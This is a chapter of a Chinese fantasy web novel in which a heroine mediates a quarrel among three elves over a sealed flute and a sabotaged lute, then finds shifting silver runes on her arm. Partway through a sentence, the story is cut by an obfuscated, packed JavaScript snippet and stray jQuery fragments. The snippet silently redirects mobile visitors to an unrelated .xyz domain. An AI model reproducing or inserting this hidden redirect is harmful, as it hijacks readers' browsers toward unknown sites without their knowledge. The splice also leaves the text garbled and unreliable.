4. 神秘纹路

作品:《谁说精灵美少女不能反向契约

    我一脚踹开屋门,掌心那道银纹还在发烫,右眼像被紫光泡过似的,看啥都带层滤镜。刚在藤桌上摊开树皮纸,咬牙写下“第一,谁来管管这破森林”,门“砰”地被人从外面推开。


    洛兰站在门口,袍角都没沾灰,跟刚从祭坛上走下来似的。他冷着脸说:“时砚昨夜擅闯禁林,我已在叶笛上施了静音咒。”


    我笔尖一抖,墨点糊了半行字。“所以你就给人家的乐器上封条?你当你是森林城管?”


    “那是邪器。”他站得笔直,“携带浊气,扰乱林息。”


    “得了吧,那笛子比你还爱干净。”我翻白眼,“再说了,你管他干啥?他又不是要娶你。”


    洛兰耳尖微动,没接话,只冷冷扫了我一眼,转身就走。门关上那声“咔哒”,听着都像在甩脸子。


    我盯着那张纸,叹了口气,继续写:“第二,谁来管管这群神经病。”刚落笔,窗外“啪”一声,什么东西砸在窗框上,弹进屋里滚到桌下。


    低头一看,是时砚的叶笛。


    我捡起来,吹了口气,没声。翻过来一看,笛身一圈细密符文泛着灰光,像贴了层封条。正琢磨着,窗外传来一声冷笑。


    “哟,大祭司的手法,越来越像捆粽子了。”


    时砚挂在屋外那棵歪脖子树上,两条腿晃荡着,头发乱得像鸟窝。他冲我扬下巴:“阿米莉娅,你说他是不是闲得蛋疼?我吹个曲子招谁惹谁了?”


    “你昨晚真进禁林了?”我靠在窗边,把笛子晃了晃,“别告诉我你是去采花献殷勤。”


    “我去查点事。”他眯眼,“再说了,我又不像某人,靠念咒刷存在感。”


    话音刚落,远处传来一阵琴声。


    不是商隐平时那种阴沉沉的调子,而是“叮——嗡!”一声,像谁拿锤子砸了琴弦。接着又是一声,更刺耳,震得我右眼直跳。


    “完了。”我手一抖,叶笛差点掉地上。


    时砚翻身落地,脸色变了:“这声音……不对劲。”


    我们俩冲出屋门时,商隐正坐在乐师台前,手指停在断魂琴上,鸦青长发垂着,一动不动。可那琴自己在响,一根弦绷得笔直,“嗡嗡”直颤,音调越来越高,像要炸开。


    林子里的鸟全炸了窝,扑棱棱乱飞,撞树的撞树,撞墙的撞墙,有只倒霉的直接一头栽进溪里,浮上来时还在蹬腿。


    “你干的?”我扭头看时砚。


    “我?我刚从你那出来!”他举手,“我再缺德也不会碰他的琴!”


    我眯眼盯着琴弦,右眼紫光一闪——弦上黏着点黏糊糊的绿渣,正顺着弦往下滴,发出轻微“滋滋”声。


    “‘哑藤汁’。”我冷笑,“时砚,你涂的时候能不能擦干净点?这玩意儿还没干透呢。”


    时砚一愣:“啥?我没——”


    “游侠儿。”洛兰的声音从背后飘来,带着点讥讽,“偷学禁术也就算了,连清理痕迹都不会?”


    “你闭嘴!”时砚转身,“你先给我解释解释,谁准你动我笛子的?”


    “邪器需净。”洛兰袖子一甩,“倒是你,竟敢对琴心者下手?”


    “我没碰他琴!”时砚吼,“我顶多……就是顺手在琴盒上撒了点驱虫粉!谁知道会这样!”


    “驱虫粉?”我盯着那绿渣,“那是‘蚀音藤’的汁液,能腐蚀灵弦三天。你当商隐的琴是菜园子?”


    商隐终于抬起头,眼神冷得能冻住溪水:“谁动的,自己认。”


    空气僵住。


    三人互相瞪着,灵力波动一圈圈往外冒,我掌心那道银纹烫得像刚从火里捞出来。右眼紫光一闪,我瞥见他们头顶浮起三道金线,两两缠绕,像打结的耳机线。


    “行了!”我一巴掌拍在琴台上,“你们仨是不是闲出病了?一个封笛子,一个毁琴弦,另一个装死——哦不对,你本来就不爱说话。”


    我指着洛兰:“你净化上瘾是不是?看见活物就想念咒?”又转向时砚:“你报复能不能挑个不连累无辜的?商隐招你了?”最后看向商隐:“你也别装深沉,琴都快炸了你还坐得住?”


    商隐淡淡道:“我若动,他们会打起来。”


    “现在也没差多少!”我翻白眼,“你们是想用内耗完成成年礼吗?第一名送祭坛上烤全精灵?”


    三人不吭声了,但眼神还在互甩刀子。


    我揉了揉太阳穴,正想说“要打出去打”,头顶那棵古树“咔”地轻响一声。


    年轮微微亮了一下,转了一圈,又暗下去。


    没说话,但那意思再清楚不过:别闹了,再闹真把林子玩崩了。


    我低头看掌心,银纹还在,但热度降了点。抬头看看他们,一个比一个绷着脸,活像谁欠了他们三百年的供奉。


    我忽然笑了。


    “行吧。”我转身从藤椅上捞起半块干果,一屁股坐下,咔嚓咬一口,“你们继续。谁赢了我给谁点赞。”


    三人齐刷刷看我。


    我嚼着干果,含糊道:“哦对了,刚才古树翻白眼了,估计也快看不下去了。”


    洛兰眉头一抽,时砚差点呛住,商隐低头看了眼琴,手指轻轻一拨——那根绷得快要断裂的弦,“啪”地断了。


    断弦弹起来,擦过我脸颊,留下一道细小的红痕。


    我摸了摸,没说话。


    时砚突然开口:“阿米莉娅,你是不是早就知道会这样?”


    我咬着干果,抬眼看他:“知道什么?”


    “知道我们……”他顿了顿,指了指洛兰,又指了指自己,“会变成这样?”


    我笑了下,把果核吐在地上。


    “我只知道——”我站起身,拍了拍裙子,“你们现在这副德行,比我鞋底那张树皮纸还皱。”


    我转身就走,连干果核都懒得捡。身后那三个家伙还在僵着,一个比一个能装,洛兰像根冰柱子,时砚梗着脖子,商隐连眼皮都不抬。行吧,你们爱站多久站多久,反正我耳朵都快被那股沉默压出茧子了。


    走出没多远,手臂突然一紧,像是被什么藤蔓勾住了袖口。我下意识一挣,结果那玩意儿猛地一抽——“嘶!”


    左小臂火辣辣地疼,低头一看,一道斜斜的口子正往外渗血,边缘还泛着点银光,跟昨晚星露果裂开时的颜色一模一样。


    “搞什么鬼?”我皱眉,顺手扯了片宽叶按上去,“连伤人都带特效的?你当自己是庆典烟花?”


    可那叶子刚贴上,底下就透出细密的纹路,像活的一样在皮肤下游走。我掀开一看,差点把手甩出去——伤口周围的皮肤上,爬满了交错的暗线,淡银色,微微发亮,像是有人拿月光当墨水,在我胳膊上画了张看不懂的地图。


    “喂。”我戳了戳那纹路,“你别动啊,我还没同意你住我身上。”


    话音刚落,右眼猛地一热,紫光像被谁拧开了开关,眼前的世界瞬间蒙了层滤镜。耳边“嗡”地一声,紧接着响起一阵低语,断断续续的,像是某种古老的调子,又像风吹过石缝的呜咽。


    我猛地闭眼,再睁开,那声音没了,可手臂上的纹路还在闪,一明一暗,跟呼吸似的。


    “……谁在念经?”我嘀咕着,正想再凑近看看,远处传来一阵急促的脚步声。


    抬头就看见洛兰从林子里冲出来,袍角都来不及整理,手里还捏着半道没念完的净化咒印。他一看到我胳膊,脚步直接钉在原地。


    “这纹……”他声音压得很低,“不是净化符。”


    我翻白眼:“废话,我要是自己能画,早拿它去换星露酒了。”


    话没说完,时砚也从另一边窜了出来,头发乱得像被风卷过十遍,手里


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142346|180360||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    还攥着那根被封了咒的叶笛。他一眼扫到我手臂,整个人愣住,脱口而出:“这……这跟我叶笛上封印的边角……有点像。”


    “你笛子不是被静音了?”我眯眼,“怎么,封条还能自动播放回忆录?”


    他没理我,几步冲过来,盯着那纹路直眨眼:“不对,比那还密……而且它在动。”


    我正想说“废话,我肉又不是石头”,忽然感觉空气一沉。


    商隐站在十步开外,不知什么时候来的,连脚步声都没听见。他抱着那把黑得发亮的琴,指尖泛着幽蓝的光,可琴弦没动,却“叮”地响了一下,短促得像被谁掐住了喉咙。


    他看着我,眼神复杂得像是要把我拆开看零件。


    我被他盯得发毛,抬手就想把袖子拉下来遮住:“看什么看,没见过限量款皮肤?”


    洛兰却突然抬手,结印往我手臂上压:“不管这是什么,先净化。”


    光幕刚落下来,那纹路突然一亮,银光反冲,竟把净化咒弹开了半寸。洛兰眉头一皱,又加了力,结果那纹路非但没消失,反而顺着皮肤往上爬了半寸,像在挑衅。


    “无效?”我乐了,“大祭司也有失手的时候?”


    “这东西……不受净化影响。”他终于松手,语气沉了下来,“而且它不是邪气。”


    “那是什么?”我问。


    没人回答。


    时砚盯着那纹路,忽然伸手摸了摸自己叶笛上的封印:“这纹路的走向……跟我笛子上那块碎片的裂痕,几乎一样。”


    “你笛子不是你捡的?”我挑眉。


    “是……但没人告诉我它从哪来。”他声音低了下去,“而且每次吹它,我都觉得……好像忘了点什么。”


    商隐忽然往前走了一步。


    他没说话,只是抬起手,指尖轻轻一拨。


    “断魂”琴无声自鸣,一根弦轻轻震了一下,音调极低,却和我右眼的热度同步跳了半拍。


    我猛地缩手:“你别碰琴!上回差点把鸟震进溪里,这回是不是想把我震成筛子?”


    他收回手,目光落在我手臂上,许久才开口:“它……在回应你。”


    “谁?”我问。


    “不是谁。”洛兰盯着那纹路,“是它自己在动。”


    我低头一看,心口一紧——那纹路真的在变,原本杂乱的线条正缓缓收拢,形成一个闭合的环,像某种符号完成了最后一笔。


    右眼又是一阵灼热,耳边那低语声再次响起,比刚才清晰了一点,像是有人在很远的地方,用很轻的声音说了一个字。


    我没听清。


    但心跳漏了一拍。


    “阿米莉娅。”洛兰突然开口,声音压得很低,“你刚才……有没有听见什么?”


    “听见你问我有没有听见什么。”我冷笑,“要不你再问一遍,看看我能不能听见你脑子里的戏?”


    时砚却没笑,反而皱眉:“不对,她右眼又紫了。而且……她手臂上的纹路,刚才动的时候,是不是跟商隐琴弦震的频率一样?”


    商隐没否认,只是盯着我,眼神像是在确认什么。


    我被他们三个围在中间,一个比一个严肃,忽然有点喘不上气。


    “行了。”我猛地把袖子拉下来盖住手臂,强笑,“咋,我这伤升级成灵契试用版了?要不你们抽签,谁中了谁来认领?”


    没人接话。


    我转身就走,脚步比来时快了一倍。走出几步,忍不住回头看了一眼——三人还站在原地,没追上来,可他们的影子被斜阳拉得很长,交叠在我刚才站过的地方,像一张网。


    回程路上,我悄悄把藤叶缠在左臂上,遮住那纹路。可走着走着,总觉得袖口底下有光透出来。


    我掀开一看。


    那符文在暗处,正一明一暗地闪。